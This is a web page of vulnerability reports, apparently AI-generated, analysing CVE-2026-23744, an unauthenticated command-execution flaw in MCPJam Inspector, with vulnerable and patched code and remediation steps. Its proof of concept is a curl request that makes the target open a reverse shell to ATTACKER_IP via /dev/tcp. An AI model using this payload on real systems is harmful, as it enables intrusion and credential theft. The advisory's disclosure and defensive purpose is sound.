CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23744

Jamming the Signal: Unauthenticated RCE in MCPJam Inspector

Alon Barad
Alon Barad
Software Engineer

Feb 17, 2026·5 min read·607 visits

Executive Summary (TL;DR)

MCPJam inspector versions <= 1.4.2 bind a debug interface to all network interfaces (0.0.0.0) by default. This interface exposes an endpoint (`/api/mcp/connect`) that accepts a command string and executes it via `child_process.spawn`. No authentication is required. This allows any attacker with network access to achieve immediate Remote Code Execution (RCE) as the user running the inspector.

Development tools are the soft underbelly of modern infrastructure. We harden our production servers, put WAFs in front of our apps, and rotate our keys, but we often leave the side door wide open on our local machines. MCPJam, a popular inspector for the Model Context Protocol (MCP), recently demonstrated exactly why this is a terrible idea. By binding a critical administrative interface to 0.0.0.0 without authentication, it allowed anyone on the network to execute arbitrary system commands. It's not a complex buffer overflow; it's a 'feature' that works too well for the wrong people.

The Hook: When Debugging Goes Wrong

The Model Context Protocol (MCP) is the new hotness for connecting Large Language Models (LLMs) to external data. It's complex, and where there is complexity, there are developers needing to debug it. Enter MCPJam Inspector, a nifty tool designed to sit between your LLM and your MCP server to visualize the traffic. It's the Wireshark of the AI agent world.

To do its job, the inspector needs to be able to start and stop MCP servers. It needs to spawn processes. In a local, isolated environment, this is fine. You trust yourself, right? But the problem arises when tools built for 'localhost' get deployed in Docker containers, cloud dev environments, or just on a laptop connected to open coffee shop Wi-Fi.

CVE-2026-23744 isn't a subtle memory corruption bug. It is a logic flaw born of convenience. The application exposes a REST API that literally says, 'Tell me what command to run, and I'll run it.' It’s the kind of vulnerability that makes exploit developers chuckle and sysadmins weep.

The Flaw: Binding to the World

The root cause is a classic 'off-by-default' security failure. In versions 1.4.2 and earlier, the MCPJam inspector binds its HTTP server to 0.0.0.0 on port 6274. For those uninitiated in the dark arts of networking, 0.0.0.0 means 'listen on every available network interface.'

Combine this promiscuous listening habit with the endpoint /api/mcp/connect. This endpoint was designed to let the frontend UI tell the backend, 'Hey, start this MCP server with these arguments.'

There is no authentication. No API key. No CSRF token. The backend code takes the JSON body—specifically the command, args, and env properties—and passes them straight into Node.js's child_process.spawn. It doesn't check if the command is an actual MCP server or netcat. It just executes. It is effectively a Remote Shell as a Service (RSaaS).

The Code: The Smoking Gun

Let's look at the Javascript that caused the panic. The vulnerable code handles the POST request by destructuring the user input and immediately using it to spawn a process. It trusts the client implicitly.

> [!NOTE] > The snippet below highlights the lack of validation in the vulnerable version.

// VULNERABLE CODE (Simplified)
app.post('/api/mcp/connect', (req, res) => {
  const { command, args, env } = req.body.serverConfig;
  
  // No Auth Check. No Input Sanitization.
  const subprocess = spawn(command, args, { env });
  
  // ... handle streams ...
});
 
// The server listens on all interfaces
app.listen(6274, '0.0.0.0');

The fix, introduced in version 1.4.3 (commit e6b9cf9), does two critical things. First, it forces the listener to 127.0.0.1. Second, it introduces a generated AUTH_TOKEN that must be present in the request headers.

// PATCHED CODE
const AUTH_TOKEN = crypto.randomBytes(32).toString('hex');
 
app.post('/api/mcp/connect', (req, res) => {
  const token = req.headers['x-mcp-token'];
  if (token !== AUTH_TOKEN) {
    return res.status(403).send('Unauthorized');
  }
  // ... safe to spawn now ...
});
 
// Restricted to localhost
app.listen(6274, '127.0.0.1');

The Exploit: One Request to Rule Them All

Exploiting this requires zero sophistication. You don't need to bypass ASLR or construct a ROP chain. You just need curl. If you can reach port 6274, you own the box.

The attack flow is linear and devastating:

Here is a functional Proof of Concept. We simply tell the inspector that our 'MCP Server' is actually the system shell, and the arguments are the commands we want to run.

curl -X POST http://TARGET_IP:6274/api/mcp/connect \
     -H "Content-Type: application/json" \
     -d '{
       "serverConfig": {
         "command": "/bin/sh",
         "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
         "env": {}
       },
       "serverId": "pwned"
     }'

Because the child_process.spawn function in Node.js handles the execution, standard shell redirection works if you invoke a shell binary directly. The process runs with the same privileges as the user running the MCPJam inspector—which, in developer environments, is often root (inside Docker) or the main user with sudo access.

The Impact: Why Panic?

This vulnerability scores a 9.8 Critical for a reason. In modern development workflows, tools like MCPJam are often running in the background while developers work on sensitive codebases.

Scenario 1: The Coffee Shop Attack A developer is working at a cafe. Their laptop firewall is lax. An attacker on the same Wi-Fi scans for port 6274, finds it open, and silently installs a persistent backdoor or steals SSH keys.

Scenario 2: The CI/CD Compromise MCPJam is used in a testing pipeline. An attacker who has compromised a low-value container in the same Kubernetes cluster can pivot to the CI runner via this API, stealing cloud credentials (AWS_ACCESS_KEY_ID, etc.) often exposed in environment variables.

This isn't just about crashing the app; it's about full compromise of the developer's workstation or the build environment.

The Fix: Closing the Window

The mitigation is straightforward: Update immediately.

Remediation Steps:

  1. Upgrade: Update mcpjam-inspector to version 1.4.3 or higher.
  2. Verify: Ensure the process is listening only on 127.0.0.1 using netstat -an | grep 6274.
  3. Firewall: If you must run this on a remote server, do not rely on the application's built-in security. Place it behind a reverse proxy (like Nginx) with Basic Auth, or use an SSH tunnel to access it locally.

Developers, learn this lesson: Convenience is the enemy of security. If your tool executes commands, it needs authentication. Period.

Official Patches

MCPJamOfficial patch commit

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
13.08%
Top 6% most exploited
1,500
via Shodan

Affected Systems

MCPJam Inspector <= 1.4.2DevSecOps Pipelines running vulnerable inspectorDeveloper Workstations

Affected Versions Detail

Product
Affected Versions
Fixed Version
MCPJam Inspector
MCPJam
<= 1.4.21.4.3
AttributeDetail
CWE IDCWE-306 (Missing Authentication)
Attack VectorNetwork (AV:N)
CVSS Score9.8 (Critical)
EPSS Score0.13076 (93.93%)
Exploit StatusProof of Concept (PoC) Available
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-306
Missing Authentication for Critical Function

The software does not perform any checks for authentication for functionality that requires a verifiable user identity or consumes a significant amount of resources.

Known Exploits & Detection

GitHubPython script to automate reverse shell injection
NucleiDetection Template Available

Vulnerability Timeline

Vendor pushes fix commit (e6b9cf9)
2026-01-09
CVE-2026-23744 assigned and disclosed
2026-01-16
Public PoC released on GitHub
2026-01-20

References & Sources

  • [1]GitHub Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•8 minutes ago•CVE-2026-119196
7.5

CVE-2026-119196: Quadratic CPU Consumption in pyasn1 Constructed BIT STRING Decoding

A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.

Alon Barad
Alon Barad
0 views•10 min read
•about 1 hour ago•CVE-2026-119209
5.5

CVE-2026-119209: Uncontrolled Resource Consumption in pypdf XRef Stream Parser

CVE-2026-119209 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. The flaw exists within the PDF 1.5 cross-reference (XRef) stream parsing routines in pypdf/_reader.py. Due to the absence of a document-wide entry limit across chained cross-reference streams and improper validation of negative entry counts in the /Index array, an attacker can craft a compact PDF file that triggers excessive memory allocation, resulting in a Denial of Service (DoS) via MemoryError or process termination.

Alon Barad
Alon Barad
1 views•11 min read
•about 2 hours ago•CVE-2026-119208
7.1

CVE-2026-119208: Uncontrolled Resource Consumption in pypdf Encrypted Page Count Evaluation

CVE-2026-119208 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. When processing an encrypted PDF file after successful decryption, the get_num_pages() method fails to verify whether the encryption handler has already unlocked the document. Consequently, pypdf returns the unvalidated /Count integer directly from the /Pages catalog dictionary instead of traversing and flattening the actual page tree. Attackers can supply an encrypted PDF with an artificially inflated /Count attribute to trigger excessive memory allocation and prolonged CPU usage during downstream operations such as page iteration or label resolution.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 3 hours ago•CVE-2026-119207
7.1

CVE-2026-119207: Asymmetric Resource Consumption in pypdf Dictionary Parser

CVE-2026-119207 (GHSA-4vqv-7265-gm2w) is an asymmetric resource consumption and denial-of-service (DoS) vulnerability in the open-source Python PDF manipulation library pypdf. In versions prior to 6.21.3, the DictionaryObject.read_from_stream method fails to bound exception message lengths when encountering malformed, unclosed dictionary structures in strict mode. When nested dictionary parsing fails, each level catches the inner exception and raises a new PdfReadError initialized with the string representation (exc.__repr__()) of the caught exception. This recursive wrapping causes geometric string expansion across the call stack, enabling a minimal PDF payload of a few hundred bytes to exhaust gigabytes of heap memory and crash the host Python process.

Alon Barad
Alon Barad
5 views•10 min read
•about 4 hours ago•CVE-2026-119206
7.1

CVE-2026-119206: Algorithmic Complexity Denial of Service in pypdf Page Label Resolution

CVE-2026-119206 is an algorithmic complexity vulnerability in pypdf prior to version 6.21.3 that causes uncontrolled CPU resource consumption when evaluating the page_labels property. Due to repeated linear scans of the PDF catalog's /PageLabels number tree from index zero for each individual page, processing a document with a large number of pages and label ranges scales quadratically. An unauthenticated attacker can supply a crafted PDF document to an application that reads page labels, resulting in prolonged execution times and denial of service.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-116672
8.8

CVE-2026-116672: Authorization Bypass in Authlib RFC 7592 Client Configuration Endpoint

Authlib versions 0.15 through 1.9.0 contain an authorization bypass vulnerability (CWE-639) in the RFC 7592 ClientConfigurationEndpoint implementation and its corresponding reference documentation. The framework fails to verify that the presented registration access token belongs to the target client specified in the request, and the official reference implementations for authenticate_client and check_permission omit token-to-client binding checks. Consequently, an authenticated client holding any valid registration access token can read, modify, or delete the registration metadata of arbitrary clients on the authorization server.

Alon Barad
Alon Barad
4 views•8 min read